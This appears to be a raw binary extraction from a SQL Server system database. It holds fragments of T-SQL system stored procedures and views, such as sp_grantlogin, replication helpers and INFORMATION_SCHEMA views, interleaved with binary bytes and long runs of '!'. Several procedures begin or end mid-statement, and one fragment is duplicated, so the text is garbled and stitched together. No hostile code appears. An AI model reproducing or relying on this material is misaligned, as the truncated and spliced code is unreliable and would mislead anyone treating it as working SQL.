    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Distribution", @name)
	
    -- In case this was a PeerToPeer agent, delete all the cached PeerToPeer info
    DELETE FROM MScached_peer_lsns WHERE agent_id=@agent_id
   	IF @@ERROR <> 0 
        return 1
        
    -- Remove agent entry
    DELETE MSdistribution_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        return 1

    return 0
end
0
 D8/mh!	5"	A9h`<)N	6X08~@ 8CREATE VIEW sys.dm_os_process_memory AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_PROCESS_MEMORY)
0! 8
create procedure sys.sp_tables_info_90_rowset2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
ALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(ta.schema_id),
        TABLE_NAME      = ta.name,
        COLUMN_NAME     = c.name,
        COLUMN_GUID     = convert(uniqueidentifier,null),
        COLUMN_PROPID   = convert(int,null),
        ORDINAL         = convert(int,
                                  -- Do not rely on c.column_id for a join!
                                  -- If a column is droped and re-created there will be a gap
                                  -- in column_id sequence and we will get wrong results.
                                  -- Look at MDAC 85041
                                  case
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  1) then 1
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  2) then 2
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  3) then 3
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  4) then 4
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  5) then 5
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  6) then 6
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  7) then 7
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  8) then 8
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  9) then 9
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 10) then 10
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 11) then 11
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 12) then 12
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 13) then 13
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 14) then 14
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 15) then 15
                                  when c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 16) then 16
                                  end
                                 ),
        PK_NAME         = k.name
    from
        sys.tables ta inner join
        sys.columns c on
            (
                ta.object_id = c.object_id
            ) inner join
        sys.indexes i on
            (
                i.is_primary_key = 1 and
                ta.object_id = i.object_id
            ) inner join
         sys.key_constraints k on
         	(
         		k.parent_object_id = i.object_id and k.unique_index_id = i.index_id
         	)
    where
        (c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  1) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  2) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  3) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  4) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  5) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  6) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  7) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  8) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id,  9) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 10) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 11) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 12) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 13) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 14) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 15) or
         c.name = index_col(quotename(schema_name(ta.schema_id)) + '.' + quotename(ta.name), i.index_id, 16))

+
x

F`n<GO|$0| 8 
-- add it
create view sys.dm_pdw_query_stats_xe_file as
select
	event	collate database_default event,
	data	collate database_default data,
	pdw_node_id
from sys._dm_pdw_query_stats_xe_file
`!Pb,U!"HQ(Mg^Zzc!q7ۇŅG)5@!KL&)P ;!_Q:w|IL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!` ! 	Q,2#N40!""$upY8BFimageimage0x0!##$upY8@BDtexttext''0!$$H8Pprtuniqueidentifieruniqueidentifier''0!((
 8@BDdatedate''0!))  8@BDtimetime''0!**! BTVXdatetime2datetime2''0!++"" Lhjldatetimeoffsetdatetimeoffset''0!00:Htinyinttinyint0!44<Lsmallintsmallint0!88
28intint0!:: Jdfhsmalldatetimesmalldatetime''0!;;
4<realreal0!<<	8BDmoneymoney$0!== @PRTdatetimedatetime''0!>>6@floatfloat0!bb?BXsql_variantsql_variant0!cc?:DHJntextntextN''0!hh28bitbit0!jj&:Hdecimaldecimal0!ll&:Hnumericnumeric0!zz
BVXsmallmoneysmallmoney$0!?8Dbigintbigint0!$upY@RVvarbinaryvarbinary0x0!$upYХ8>LNPvarcharvarchar''0!$upY:FJbinarybinary0x0!$upYХ88@BDcharchar''0!@RVtimestamptimestamp0x0!8@PTVnvarcharnvarcharN''0!
8:DHJncharncharN''0!?>Pvarbinaryvarbinary0!6<@BxmlxmlN''0!6@tabletable!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}dO:!t`
ZUg2M/^T8!!!!` (LV2&O60(""
ACCMimage0ximage0(""
ACCMimage0ximage0(##
?@AItext''text0(##
?@AItext''text0($$$
WXYyuniqueidentifier''uniqueidentifier0($$$
WXYyuniqueidentifier''uniqueidentifier0(((	

	?@AIdate''date0((([

	?@AIdate''date0())f
f?@AItime''time0())f
f?@AItime''time0(**
	IJK]datetime2''datetime20(**]
	IJK]datetime2''datetime20(++e"
eSTUqdatetimeoffset''datetimeoffset0(++e"
eSTUqdatetimeoffset''datetimeoffset0(00
EEEStinyinttinyint0(00
WWWwtinyint identitytinyint identity0(00
EEEStinyinttinyint0(00
WWWwtinyint identitytinyint identity0(44
GGGWsmallintsmallint0(44
YYY{smallint identitysmallint identity0(44
GGGWsmallintsmallint0(44
YYY{smallint identitysmallint identity0(88

===Cintint0(88

OOOgint identityint identity0(88

===Cintint0(88

OOOgint identityint identity0(::p	QRSmsmalldatetime''smalldatetime0(::]p	QRSmsmalldatetime''smalldatetime0(;;
???Grealreal0(;;???Grealreal0(<<
ABBLmoney$money0(<<
ABBLmoney$money0(==p	GHIYdatetime''datetime0(==]p	GHIYdatetime''datetime0(>>
AAAKfloatfloat0(>>5AAAKfloatfloat0(bbj@
@jMMMcsql_variantsql_variant0(bbj@
@jMMMcsql_variantsql_variant0(cc
ACDNntextN''ntext0(cc
ACDNntextN''ntext0(hh`pY===Cbitbit0(hh`pY===Cbitbit0(jj&
EEESdecimaldecimal0(jj&
[[[decimal() identitydecimal() identity0(jj&
EEESdecimaldecimal0(jj&
[[[decimal() identitydecimal() identity0(ll&
EEESnumericnumeric0(ll&
[[[numeric() identitynumeric() identity0(ll&
EEESnumericnumeric0(ll&
[[[numeric() identitynumeric() identity0(zz

KLL`smallmoney$smallmoney0(zz

KLL`smallmoney$smallmoney0(
CCCObigintbigint0(
UUUsbigint identitybigint identity0(
CCCObigintbigint0(
UUUsbigint identitybigint identity0(
IKK]varbinary0xvarbinary0(
IKK]varbinary0xvarbinary0(
EFGUvarchar''varchar0(
EFGUvarchar''varchar0(`.qlpYCEEQbinary0xbinary0(`.qlpYCEEQbinary0xbinary0(`pY?@AIchar''char0(`pY?@AIchar''char0(
IKK]timestamp0xtimestamp0(
IKK]timestamp0xtimestamp0($
GIJZnvarcharN''nvarchar0($
GIJZnvarcharN''nvarchar0($
ACDNncharN''nchar0($
ACDNncharN''nchar0(i
iEEEKclr_udtUDT0(i
iEEEKclr_udtUDT0(h
h=?@FxmlN''xml0(h
h=?@FxmlN''xml0(g
gAAAKtabletable0(g
gAAAKtabletable!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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z4C|ih޲xoUfH@8&
r?KآXKSBT.C	\“vJo /}S̉Go;duM8sב3sfu;Ysh<"n`h>pL?y/oD
Fqh:u:D-ޛ1X;s=i~!<o6W\?u/PFKNJ.OYqW om'[ #bTgiHZjL 4dlvZ1P[#
?nzt=$aBFdR-xd&\D##j_
x"y_kLE@%2
H[oH͝wzrgHBKc,a*D-tT[:qJ]_2yֶEY D{_ )*ա%/M?qJ
>@H1{}% z|ٶ--!_XM$!Ůb%Pm[ƈ0{mN#|Lu&<7<)nVW[[{5KU!O)>'`yAEx1>I>uokJJ"

v
l
b
X
N
D
:
\0
b&



jz0>
$2.\\B
|P(j4JHrh^pT(J@6,"

4DxrndZPF<2(T`

*




`
t

4

t
|H~
8t
j
`
V
L
B
8
.
$

"zf

				X			x				6		z	p	f	\	R	H	
~>	4	,*	 	Z			d<$P>FFvlbXND:0&|rhn^
TpJ^<R@6f,"lp@NxndZ
P
F<2(>
vNZL*h@"|JhV^~t2j`VLB8D8.$.zTHv0:zpf\RH>4*  bV vlbrXf~ND:0L&
&*l
XR|rh^TJ@6x," R
B&xndZPF<2
n:(6
d,
~tj`J<|
` \0: ^8create procedure sys.sp_grantlogin
    @loginame		sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret   int    -- return value of sp call
	declare @exec_stmt nvarchar(4000)

    -- CHECK PERMISSIONS --
	IF (not is_srvrolemember('securityadmin') = 1)
	begin
		dbcc auditevent (105, 1, 0, @loginame, NULL, NULL, NULL, NULL, NULL, NULL)
		raiserror(15247,-1,-1)
		return (1)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_grantlogin')
		return (1)
	end

    -- DISALLOW SQL LOGIN (IE. MUST BE 'DOMAIN\USER') --
	if (charindex('\', @loginame) = 0)
	begin
		raiserror(15407, -1, -1, @loginame)
		return (1)
	end

	BEGIN TRANSACTION
		-- LOCK LOGIN --
	EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 0)

    -- ADD ROW FOR NT LOGIN IF NEEDED --
	if @@error <> 0	-- not found
    begin
        execute @ret = sys.sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
	    begin
			-- In case, the login has been created in the window,
			-- try to lock the login name. We are fine if we succeed.
			--
			EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 0)
		    if @@error <> 0
		    begin
				ROLLBACK TRANSACTION
				raiserror(15401,-1,-1 ,@loginame)
				return (1)
			end
	    end
		-- login locked
    end

    -- GRANT ACCESS --
	EXEC %%LocalLogin(Name = @loginame).SetAccess(HasAccess = 1)

	COMMIT TRANSACTION

    -- FINALIZATION: RETURN SUCCESS/FAILURE
    return (0)	-- sp_grantlogin
0>@ 8create procedure sys.sp_MSmark_proc_norepl
    @procname nvarchar(517)
as
    set nocount on
    declare @obj_tmp int

    -- CHECK PERMISSIONS (MUST BE DBO) --
    if not (is_member('db_owner')=1 or is_srvrolemember('sysadmin') = 1) 
    begin
        raiserror(20521,0,1)
        return 1
    end

    BEGIN TRANSACTION
    -- CHECK THE OBJECT NAME --
    select @obj_tmp = object_id(@procname, 'local')
    if not (@obj_tmp is null)
    begin
        EXEC %%Object(MultiName = @procname).LockMatchID(ID = @obj_tmp, Exclusive = 1, BindInternal = 0)
        if @@error <> 0
            select @obj_tmp = null
    end

    if @obj_tmp is null
    begin
        COMMIT TRANSACTION  -- nothing changed
        raiserror(20522,0,1,@procname)
        return (1)
    end

    -- DO THE UPDATE --
    EXEC %%Module(ID = @obj_tmp).SetSkipReplConstraints(Value = 1)
    COMMIT TRANSACTION
    return (0)
)
                              -- when o.type in ('FN', 'TF', 'IF')   then 0
                              -- Above conditions should match the ones in sys.spt_all_procedures
        procedure_number    = convert(smallint, s_p.number * objectproperty(s_p.object_id, 'IsProcedure')),
        name                = s_p.name collate catalog_default,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.system_parameters$ s_p
    where s_p.number = 1 -- Filter numbered system procedures because they are not expected in my private views.
0, 8
create procedure sys.sp_column_privileges_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @column_name        sysname = null
)
as
    select
        TABLE_CAT       = TABLE_CATALOG,
        TABLE_SCHEM     = TABLE_SCHEMA,
        TABLE_NAME      = TABLE_NAME,
        COLUMN_NAME     = COLUMN_NAME,
        GRANTOR         = GRANTOR,
        GRANTEE         = GRANTEE,
        PRIVILEGE       = PRIVILEGE_TYPE,
        IS_GRANTABLE    = case IS_GRANTABLE
                            when 1 then 'YES'
                            when 0 then 'NO'
                            else null
                          end
    from sys.fn_remote_column_privileges(@table_server,
                                         @table_catalog,
                                         @table_schema,
                                         @table_name,
                                         NULL,
                                         NULL,
                                         NULL)
    where
        (COLUMN_NAME like @column_name or @column_name is NULL)
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, PRIVILEGE
03 8
create procedure sys.sp_datatype_info_90
(
    @data_type int = 0,
    @ODBCVer tinyint = 2
)
as
    declare @mintype int
    declare @maxtype int

    set @ODBCVer = isnull(@ODBCVer, 2)
    if @ODBCVer < 3 -- includes ODBC 1.0 as well
        set @ODBCVer = 2
    else
        set @ODBCVer = 3

    if @data_type = 0
    begin
        select @mintype = -32768
        select @maxtype = 32767
    end
    else
    begin
        select @mintype = @data_type
        select @maxtype = @data_type
    end

    select
        TYPE_NAME           = v.TYPE_NAME,
        DATA_TYPE           = v.DATA_TYPE_90,          -- for backward compatibility
        PRECISION           = v.PRECISION,
        LITERAL_PREFIX      = v.LITERAL_PREFIX,
        LITERAL_SUFFIX      = v.LITERAL_SUFFIX,
        CREATE_PARAMS       = v.CREATE_PARAMS_90,      -- for backward compatibility
        NULLABLE            = v.NULLABLE,
        CASE_SENSITIVE      = v.CASE_SENSITIVE,
        SEARCHABLE          = v.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = v.UNSIGNED_ATTRIBUTE,
        MONEY               = v.MONEY,
        AUTO_INCREMENT      = v.AUTO_INCREMENT,
        LOCAL_TYPE_NAME     = v.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = v.MINIMUM_SCALE_90,      -- for backward compatibility
        MAXIMUM_SCALE       = v.MAXIMUM_SCALE_90,      -- for backward compatibility
        SQL_DATA_TYPE       = v.SQL_DATA_TYPE_90,      -- for backward compatibility
        SQL_DATETIME_SUB    = v.SQL_DATETIME_SUB_90,   -- for backward compatibility
        NUM_PREC_RADIX      = v.NUM_PREC_RADIX,
        INTERVAL_PRECISION  = v.INTERVAL_PRECISION,
        USERTYPE            = v.USERTYPE

    from
        sys.spt_datatype_info_view v

    where
        v.DATA_TYPE_90 between @mintype and @maxtype and
        v.ODBCVer = @ODBCVer

    order by 2, v.MAPPED_TYPE, 12, 11, 20
0 8CREATE VIEW INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE
AS
SELECT
	DB_NAME()			AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name				AS TABLE_NAME,
	DB_NAME()			AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(c.schema_id)	AS CONSTRAINT_SCHEMA,
	c.name				AS CONSTRAINT_NAME
FROM
	sys.objects c JOIN sys.tables t
		ON t.object_id = c.parent_object_id
WHERE
	c.type IN ('C' ,'UQ' ,'PK' ,'F')
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8	`6
b<U
a1|07 8create procedure sys.sp_objectfilegroup --- 1996/08/30 17:44
@objid	int
as
	/*
	** Print out the object's data filegroup if applicable.
	*/
	if exists (select * from sysobjects
			where id = @objid
			and type in ('S ','U '))
		begin
			select Data_located_on_filegroup = d.name
			from sys.data_spaces d
			where d.data_space_id =
			(select i.data_space_id from sys.indexes i
			 where i.object_id = @objid and i.index_id < 2)
		end

	/*
	**  It's not a table so segment is not applicable.
	*/
	else
		select Data_located_on_filegroup = 'not applicable'

return (0) -- sp_objectfilegroup
0|@ 
8
--
-- Name:
--		sp_IHVerifyIndex
--
-- Description:
--		Verify index can be created in SQL Server
--
-- Inputs:
--		@article_id	== INPUT:	article id value
--		@index_name	== INPUT:	index name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by scripting to validate if an index
--		can be created for an article
--

CREATE PROCEDURE sys.sp_IHVerifyIndex
(
	@article_id		int,
	@index_name		sysname
)
AS
BEGIN
	DECLARE @columnCount int
	DECLARE @idxLength   int
	DECLARE @retcode	 int
	
	-- Init retcode
	SET @retcode = 0
	
	-- Verify column count for indexes within SQL limits
	SELECT	@columnCount	= COUNT(*),
			@idxLength		= SUM(ihpc.length)
	FROM	dbo.IHpublisherindexes ihpi,
			dbo.IHpublishercolumnindexes ihpci,
			dbo.IHpublishercolumns ihpc,
			dbo.IHarticles iha
	WHERE	ihpi.publisherindex_id		= ihpci.publisherindex_id
	  AND	ihpci.publishercolumn_id	= ihpc.publishercolumn_id
	  AND	iha.publisher_id			= ihpi.publisher_id
	  AND	iha.table_id				= ihpi.table_id
	  AND	iha.article_id				= @article_id
	  AND	ihpi.name					= @index_name

	IF @columnCount > 16
	BEGIN
		RAISERROR(21666, 10, 1, 16, @columnCount)
		SET @retcode = 1
	END
	
	IF @idxLength > 900
	BEGIN
		RAISERROR(21667, 10, 1, @index_name, @idxLength, 900)
		SET @retcode = 1
	END
		
	-- Verify index does not contain unique nullable column
	IF EXISTS
	(
		SELECT	ihpc.name
		FROM	dbo.IHpublisherindexes ihpi,
				dbo.IHpublishercolumnindexes ihpci,
				dbo.IHpublishercolumns ihpc,
				dbo.IHarticles iha
		WHERE	ihpi.publisherindex_id		= ihpci.publisherindex_id
		  AND	ihpci.publishercolumn_id	= ihpc.publishercolumn_id
		  AND	iha.publisher_id			= ihpi.publisher_id
		  AND	iha.table_id				= ihpi.table_id
		  AND	iha.article_id				= @article_id
		  AND	ihpi.name					= @index_name
		  AND	ihpi.type					= 'UNIQUE'
		  AND	ihpc.isnullable				= 1
	)
	BEGIN
		RAISERROR(21664, 10, 1, @index_name)
		SET @retcode = 1
	END

	-- Verify all columns in index are published
	IF EXISTS
	(
		SELECT	ihpci.publishercolumn_id
		FROM	dbo.IHpublisherindexes ihpi,
				dbo.IHpublishercolumnindexes ihpci,
				dbo.IHarticles iha
		WHERE	ihpi.publisher_id		= iha.publisher_id
		  AND	ihpi.table_id			= iha.table_id
		  AND	ihpi.publisherindex_id	= ihpci.publisherindex_id
		  AND	iha.article_id			= @article_id
		  AND	ihpi.name				= @index_name
		  AND	ihpci.publishercolumn_id NOT IN
		  		(
					SELECT	publishercolumn_id
					FROM	dbo.IHcolumns
					WHERE	article_id = @article_id
				)
	)
	BEGIN
		RAISERROR(21668, 10, 1, @index_name)
		SET @retcode = 1
	END

	RETURN @retcode
END
agent, 
            is_member('db_owner'),
            1,                                        --thirdparty
            pubs.vendor_name,
            srv.srvname,
            N'MSSQLSERVER',
            pubs.description,
            db_name(),
            convert(bit,0),                            --allow_queued_tran
            convert(bit,0),                            --allow_dts
            thirdparty_options,
            convert(int, null),                        -- queue_type
            0                                        -- dynamic_filters
    from  dbo.MSpublications as pubs
            join master.dbo.sysservers as srv on pubs.publisher_id = srv.srvid
    where exists
            (
                select    *
                from    dbo.MSarticles as art
                where    pubs.publication_id = art.publication_id
            )
      and    thirdparty_flag <> 0
      and    (
                  @vendor_name <> N'others' and
                  vendor_name = @vendor_name or 
                @vendor_name  = N'others' and
                (vendor_name is null or vendor_name = '') or
                @vendor_name is null
            )
      and (@publication is null or pubs.publication = @publication)
END
0@ \8X@h>8^Uay0@ Z8CREATE PROCEDURE sys.sp_changesubscription 
(
    @publication 	sysname,
    @article		sysname,
    @subscriber 	sysname,
    @destination_db	sysname,
    @property 		nvarchar(30),      
    @value 			nvarchar(4000),
    @publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changesubscription'
	
	EXEC @retcode = @cmd
					@publication 	= @publication,
				    @article 		= @article,
				    @subscriber 	= @subscriber ,
				    @destination_db	= @destination_db,
				    @property 		= @property,      
				    @value 			= @value,
				    @publisher		= @publisher,
				    @publisher_type	= @publisher_type

	RETURN (@retcode)
END
0Ł@ W8
CREATE PROCEDURE sys.sp_publication_validation
(
	@publication 	sysname,	/* publication name */
	@rowcount_only 	smallint = 1,	/* type of check requested */       
	@full_or_fast 	tinyint = 2,	/* full (0) fast (1), or conditional fast (2)  method to calculate rowcount */
	@shutdown_agent bit = 0,	/* shut down agent after validation if 1 */
	@publisher 	sysname = NULL	/* only non-null for heterogeneous publishers */	
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

	
	-- Security Check
	-- No reason anyone but Sysadmin or dbo of publishing db should run this
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return (1)
	end
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader      = @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	if (@publisher_type = 'MSSQLSERVER')
	begin
		
		SET @cmd = @cmd + N'dbo.sp_MSpublication_validation '

		EXEC @retcode = @cmd
				@publication,
				@rowcount_only,
				@full_or_fast,
				@shutdown_agent
					
	end
	else
	begin
		-- Heterogeneous articles are handled directly by sp_IHpublication_validation
		SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
		set @cmd = @cmd + N'sys.sp_IHpublication_validation '

		EXEC @retcode = @cmd
				@publication,
				@rowcount_only,
				@full_or_fast,
				@shutdown_agent,
				@publisher
	end	

	RETURN (@retcode)
END

                @vendor_name  = N'others' and
                (vendor_name is null or vendor_name = '') or
                @vendor_name is null
            )
      and (@publication is null or pubs.publication = @publication)
END
